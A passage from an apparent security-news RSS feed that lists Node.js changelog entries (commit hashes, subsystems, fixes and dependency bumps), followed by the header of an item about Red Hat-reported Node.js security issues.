<li>[<a href="https://github.com/nodejs/node/commit/85fc79dd9b"><code>85fc79dd9b</code></a>] - <strong>doc</strong>: fix broken links and duplicate stability label (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64130" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64130/hovercard">#64130</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/189e830eb3"><code>189e830eb3</code></a>] - <strong>doc</strong>: add missing option to man page (Richard Lau) <a href="https://github.com/nodejs/node/pull/64156" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64156/hovercard">#64156</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7a16ccccd0"><code>7a16ccccd0</code></a>] - <strong>doc</strong>: announce upcoming end of tier 2 support for macOS x64 (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63931" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63931/hovercard">#63931</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d5f826045f"><code>d5f826045f</code></a>] - <strong>doc</strong>: update toolchain for official AIX releases (Richard Lau) <a href="https://github.com/nodejs/node/pull/64068" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64068/hovercard">#64068</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/60abc4400f"><code>60abc4400f</code></a>] - <strong>doc</strong>: fix callback example import in fs docs (Kamal Rawal) <a href="https://github.com/nodejs/node/pull/63912" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63912/hovercard">#63912</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e470c74a6c"><code>e470c74a6c</code></a>] - <strong>doc</strong>: fix keepAliveTimeout default in http.createServer options (Jahanzaib iqbal) <a href="https://github.com/nodejs/node/pull/63974" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63974/hovercard">#63974</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/851b460583"><code>851b460583</code></a>] - <strong>esm</strong>: improve ERR_REQUIRE_ASYNC_MODULE (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64260" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64260/hovercard">#64260</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0cd443df39"><code>0cd443df39</code></a>] - <strong>esm</strong>: print required top-level await locations without evaluating (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64154" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64154/hovercard">#64154</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b373202efc"><code>b373202efc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>esm</strong>: add <code>--experimental-import-text</code> flag (Efe) <a href="https://github.com/nodejs/node/pull/62300" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62300/hovercard">#62300</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eacfbd0ca5"><code>eacfbd0ca5</code></a>] - <strong>http</strong>: add CONNECT method handling for default Host header with proxy (Archkon) <a href="https://github.com/nodejs/node/pull/64114" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64114/hovercard">#64114</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aeb539a383"><code>aeb539a383</code></a>] - <strong>http</strong>: fix drain event with cork/uncork (David Evans) <a href="https://github.com/nodejs/node/pull/64038" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64038/hovercard">#64038</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8e8874b216"><code>8e8874b216</code></a>] - <strong>http</strong>: document and validate options.path when it's in absolute-form (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64108" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64108/hovercard">#64108</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eb2e96bc28"><code>eb2e96bc28</code></a>] - <strong>inspector</strong>: fix crash when writing to closed inspector socket (ympark2011) <a href="https://github.com/nodejs/node/pull/64209" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64209/hovercard">#64209</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/243b0e4e57"><code>243b0e4e57</code></a>] - <strong>lib</strong>: reject string "0" in validatePort when allowZero is false (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/64174" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64174/hovercard">#64174</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/34a537c0ed"><code>34a537c0ed</code></a>] - <strong>lib</strong>: use <code>__proto__: null</code> when calling <code>ObjectDefineProperty</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64239" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64239/hovercard">#64239</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1f72393f19"><code>1f72393f19</code></a>] - <strong>lib</strong>: lazily initialize kEvents and kHandlers maps (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/63702" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63702/hovercard">#63702</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/92a3dc3191"><code>92a3dc3191</code></a>] - <strong>lib,permission</strong>: fix addon permission drop (Martin Wagner) <a href="https://github.com/nodejs/node/pull/64007" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64007/hovercard">#64007</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/87b8f2a296"><code>87b8f2a296</code></a>] - <strong>meta</strong>: fix linter warning in <code>stale.yml</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64281" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64281/hovercard">#64281</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/829c4a5913"><code>829c4a5913</code></a>] - <strong>meta</strong>: bump actions/cache from 5.0.5 to 6.1.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64248" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64248/hovercard">#64248</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0808dcd31c"><code>0808dcd31c</code></a>] - <strong>meta</strong>: bump github/codeql-action/autobuild from 4.36.1 to 4.36.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64247" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64247/hovercard">#64247</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/64aa17058f"><code>64aa17058f</code></a>] - <strong>meta</strong>: bump github/codeql-action/analyze from 4.36.1 to 4.36.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64246" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64246/hovercard">#64246</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/873d1e0412"><code>873d1e0412</code></a>] - <strong>meta</strong>: bump actions/checkout from 6.0.2 to 7.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64245" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64245/hovercard">#64245</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fe460ccf0b"><code>fe460ccf0b</code></a>] - <strong>meta</strong>: bump codecov/codecov-action from 6.0.1 to 7.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64244" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64244/hovercard">#64244</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/845c63ed50"><code>845c63ed50</code></a>] - <strong>meta</strong>: bump rtCamp/action-slack-notify from 2.3.3 to 2.4.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64243" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64243/hovercard">#64243</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2cad2d6de5"><code>2cad2d6de5</code></a>] - <strong>meta</strong>: bump github/codeql-action/init from 4.36.1 to 4.36.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64242" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64242/hovercard">#64242</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0ddde950c7"><code>0ddde950c7</code></a>] - <strong>meta</strong>: bump actions/setup-python from 6.2.0 to 6.3.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64241" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64241/hovercard">#64241</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c0a8760d2f"><code>c0a8760d2f</code></a>] - <strong>meta</strong>: bump github/codeql-action/upload-sarif from 4.36.1 to 4.36.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64240" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64240/hovercard">#64240</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f49704b9d0"><code>f49704b9d0</code></a>] - <strong>meta</strong>: clarify V8 flags are outside threat model (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64224" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64224/hovercard">#64224</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6b8dc58e6e"><code>6b8dc58e6e</code></a>] - <strong>meta</strong>: move one or more collaborators to emeritus (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64057" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64057/hovercard">#64057</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fe5260cca7"><code>fe5260cca7</code></a>] - <strong>meta</strong>: update status of past strategic initiatives (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63480" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63480/hovercard">#63480</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7b01040008"><code>7b01040008</code></a>] - <strong>meta</strong>: speed up stale bot (Aviv Keller) <a href="https://github.com/nodejs/node/pull/64075" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64075/hovercard">#64075</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/874c46c24f"><code>874c46c24f</code></a>] - <strong>meta</strong>: update sccache version in test-linux-quic (René) <a href="https://github.com/nodejs/node/pull/64043" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64043/hovercard">#64043</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/48c5c86363"><code>48c5c86363</code></a>] - <strong>module</strong>: enable import support for addons by default (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/64221" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64221/hovercard">#64221</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/39e0c14455"><code>39e0c14455</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>perf_hooks</strong>: sample delay per event loop iteration (Pablo Erhard) <a href="https://github.com/nodejs/node/pull/62935" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62935/hovercard">#62935</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f90f1bd032"><code>f90f1bd032</code></a>] - <strong>perf_hooks</strong>: add NODE_PERFORMANCE_GC_MINOR_MARK_SWEEP constant (Attila Szegedi) <a href="https://github.com/nodejs/node/pull/63877" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63877/hovercard">#63877</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bdf32628c7"><code>bdf32628c7</code></a>] - <strong>process</strong>: fix finalization cleanup ref tracking (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64087" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64087/hovercard">#64087</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a65b7fff4"><code>9a65b7fff4</code></a>] - <strong>quic</strong>: drop version negotiation packets with oversized CIDs (Mohamed Sayed) <a href="https://github.com/nodejs/node/pull/64228" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64228/hovercard">#64228</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2699fe4706"><code>2699fe4706</code></a>] - <strong>quic</strong>: fixes undefined handle in QuicStream kInspect (Marten Richter) <a href="https://github.com/nodejs/node/pull/64170" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64170/hovercard">#64170</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/00dea28bb3"><code>00dea28bb3</code></a>] - <strong>repl</strong>: lazy-load acorn and defer vm context creation (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63879" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63879/hovercard">#63879</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ce659a1cf9"><code>ce659a1cf9</code></a>] - <strong>src</strong>: fix escaping of single quotes in task runner (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64089" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64089/hovercard">#64089</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dbb3126e5c"><code>dbb3126e5c</code></a>] - <strong>src</strong>: abstract tracing agent for both legacy and perfetto (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/64053" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64053/hovercard">#64053</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/12edf1d68d"><code>12edf1d68d</code></a>] - <strong>src</strong>: avoid redundant call to <code>std::get_if&lt;&gt;()</code> (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/64094" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64094/hovercard">#64094</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eda91b6d01"><code>eda91b6d01</code></a>] - <strong>src</strong>: avoid copying source string in TextEncoder.encode (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63897" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63897/hovercard">#63897</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/efbbb9a03c"><code>efbbb9a03c</code></a>] - <strong>stream</strong>: preserve half-open duplexes in async iteration (Efe) <a href="https://github.com/nodejs/node/pull/64275" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64275/hovercard">#64275</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/999a83c937"><code>999a83c937</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: expose ReadableStreamTee (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64195" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64195/hovercard">#64195</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ab5ed72903"><code>ab5ed72903</code></a>] - <strong>stream</strong>: reject iter consumers on abort (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64066" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64066/hovercard">#64066</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d3fa77c5e2"><code>d3fa77c5e2</code></a>] - <strong>stream</strong>: fix merge abort for pending sources (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64013" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64013/hovercard">#64013</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/38b99140ed"><code>38b99140ed</code></a>] - <strong>stream</strong>: refactor unnecessary optional chaining away (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64253" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64253/hovercard">#64253</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c81f894ebe"><code>c81f894ebe</code></a>] - <strong>stream</strong>: cut per-chunk overhead in WHATWG streams (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64252" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64252/hovercard">#64252</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f162234f24"><code>f162234f24</code></a>] - <strong>stream</strong>: normalize Broadcast.from() byte inputs (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64082" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64082/hovercard">#64082</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1182ad8f3b"><code>1182ad8f3b</code></a>] - <strong>stream</strong>: proxy first own method in Readable.wrap() (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/64048" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64048/hovercard">#64048</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0b830b382"><code>d0b830b382</code></a>] - <strong>stream</strong>: observe abort while awaiting pipeTo source (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64015" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64015/hovercard">#64015</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f7adcd8359"><code>f7adcd8359</code></a>] - <strong>stream</strong>: respect iter consumer abort signals (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63997" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63997/hovercard">#63997</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b09e624c6f"><code>b09e624c6f</code></a>] - <strong>test</strong>: make blob desiredSize assertion robust (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64106" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64106/hovercard">#64106</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0d8f0c774"><code>d0d8f0c774</code></a>] - <strong>test</strong>: update WPT for urlpattern to 11a459a2b1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64037" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64037/hovercard">#64037</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ff9122c20c"><code>ff9122c20c</code></a>] - <strong>test</strong>: improve lcov reporter snapshot diagnostics (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64049" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64049/hovercard">#64049</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/570952d4f3"><code>570952d4f3</code></a>] - <strong>test</strong>: keep finalization close fixture ref alive (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64085" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64085/hovercard">#64085</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1b4f213380"><code>1b4f213380</code></a>] - <strong>test</strong>: fix typo from overriden to overridden (parkhojeong) <a href="https://github.com/nodejs/node/pull/63403" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63403/hovercard">#63403</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c91090b8b"><code>4c91090b8b</code></a>] - <strong>test</strong>: fix typo from funciton to function (parkhojeong) <a href="https://github.com/nodejs/node/pull/63403" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63403/hovercard">#63403</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bf080c7917"><code>bf080c7917</code></a>] - <strong>test</strong>: mark hr-time WPT flaky on macos15-x64 (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64054" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64054/hovercard">#64054</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/24e32098c5"><code>24e32098c5</code></a>] - <strong>test</strong>: use one-off agent in http consumed timeout test (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64052" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64052/hovercard">#64052</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3229886de2"><code>3229886de2</code></a>] - <strong>test</strong>: fix flaky test-runner coverage threshold test (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64051" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64051/hovercard">#64051</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83b91ea6ec"><code>83b91ea6ec</code></a>] - <strong>test_runner</strong>: filter execArgv fallback for child tests (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64056" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64056/hovercard">#64056</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/269b609a3d"><code>269b609a3d</code></a>] - <strong>test_runner</strong>: improve coverage failure diagnostics (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64050" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64050/hovercard">#64050</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0342744c34"><code>0342744c34</code></a>] - <strong>test_runner</strong>: add timestamp to JUnit reporter testsuites (sangwook) <a href="https://github.com/nodejs/node/pull/64029" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64029/hovercard">#64029</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/086741d121"><code>086741d121</code></a>] - <strong>timers</strong>: reuse Timeout objects in setStreamTimeout (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64254" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64254/hovercard">#64254</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4e0236dc3d"><code>4e0236dc3d</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>tls</strong>: report negotiated TLS groups (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64119" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64119/hovercard">#64119</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3bdd7e20be"><code>3bdd7e20be</code></a>] - <strong>tls</strong>: handle large RSA exponents in X.509 cert (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/64093" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64093/hovercard">#64093</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c96c838977"><code>c96c838977</code></a>] - <strong>tools</strong>: update RUSTC_VERSION for remaining GHA workflows (René) <a href="https://github.com/nodejs/node/pull/64325" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64325/hovercard">#64325</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ee873b7aaf"><code>ee873b7aaf</code></a>] - <strong>tools</strong>: bump <code>temporal_rs</code> version (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63281" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63281/hovercard">#63281</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea3b870155"><code>ea3b870155</code></a>] - <strong>tools</strong>: remove <code>envinfo</code> from our workflows (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64259" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64259/hovercard">#64259</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d940f02e8b"><code>d940f02e8b</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 8 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64249" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64249/hovercard">#64249</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fe0ea2bb5d"><code>fe0ea2bb5d</code></a>] - <strong>tools</strong>: bump @node-core/doc-kit (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64010" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64010/hovercard">#64010</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4dceefde1e"><code>4dceefde1e</code></a>] - <strong>tools</strong>: bump undici from 6.24.1 to 6.27.0 in /tools/doc (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64031" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64031/hovercard">#64031</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6e187db7d7"><code>6e187db7d7</code></a>] - <strong>tools</strong>: update c-ares updater script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64194" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64194/hovercard">#64194</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/657a35f5a2"><code>657a35f5a2</code></a>] - <strong>tools</strong>: validate version number in release proposal commit message lint (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64070" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64070/hovercard">#64070</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/17228a861c"><code>17228a861c</code></a>] - <strong>tools</strong>: add GHA benchmark runner (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60293" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60293/hovercard">#60293</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d11a71d91"><code>6d11a71d91</code></a>] - <strong>tools</strong>: update <code>build-shared/action.yml</code> to a reusable workflow (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64059" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64059/hovercard">#64059</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7a17c50b7f"><code>7a17c50b7f</code></a>] - <strong>tools</strong>: update libffi updater script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64046" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64046/hovercard">#64046</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/28047a3e71"><code>28047a3e71</code></a>] - <strong>tools</strong>: exclude <code>libffi</code> changes from <code>test-shared</code> GHA CI (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64047" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64047/hovercard">#64047</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/58d9685acc"><code>58d9685acc</code></a>] - <strong>typings</strong>: add typing for crypto (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64122" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64122/hovercard">#64122</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7a9dcad44d"><code>7a9dcad44d</code></a>] - <strong>util</strong>: fix OOM in inspect color stack formatting (Ijtihed Kilani) <a href="https://github.com/nodejs/node/pull/64022" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64022/hovercard">#64022</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d5f01bbbde"><code>d5f01bbbde</code></a>] - <strong>vfs</strong>: reject rename into descendant directory (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64285" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64285/hovercard">#64285</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0b6af91081"><code>0b6af91081</code></a>] - <strong>vfs</strong>: handle current-position sentinel in memory files (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64163" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64163/hovercard">#64163</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/322230d641"><code>322230d641</code></a>] - <strong>vfs</strong>: support writeFileSync with virtual fds (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64165" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64165/hovercard">#64165</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9395d209c7"><code>9395d209c7</code></a>] - <strong>vfs</strong>: avoid recursive readdir symlink cycles (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64168" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64168/hovercard">#64168</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bbdd7643b6"><code>bbdd7643b6</code></a>] - <strong>vfs</strong>: read RealFSProvider files from open fd (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64104" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64104/hovercard">#64104</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/92859b8097"><code>92859b8097</code></a>] - <strong>vm</strong>: fix copying PropertyDescriptor (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/64073" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64073/hovercard">#64073</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9046035475"><code>9046035475</code></a>] - <strong>zlib</strong>: validate flush king for all streams (Ic3b3rg) <a href="https://github.com/nodejs/node/pull/63746" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63746/hovercard">#63746</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/98be4304a3"><code>98be4304a3</code></a>] - <strong>zlib</strong>: validate flush kind for brotli streams (Ic3b3rg) <a href="https://github.com/nodejs/node/pull/63746" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63746/hovercard">#63746</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/90007a59a9"><code>90007a59a9</code></a>] - <strong>zlib</strong>: expose rejectGarbageAfterEnd option (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64023" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64023/hovercard">#64023</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5933516066"><code>5933516066</code></a>] - <strong>zlib</strong>: reject trailing gzip members in web streams (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64023" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64023/hovercard">#64023</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3652757/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652757/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Tue, 07 Jul 2026 23:01:51 +0200</pubDate>
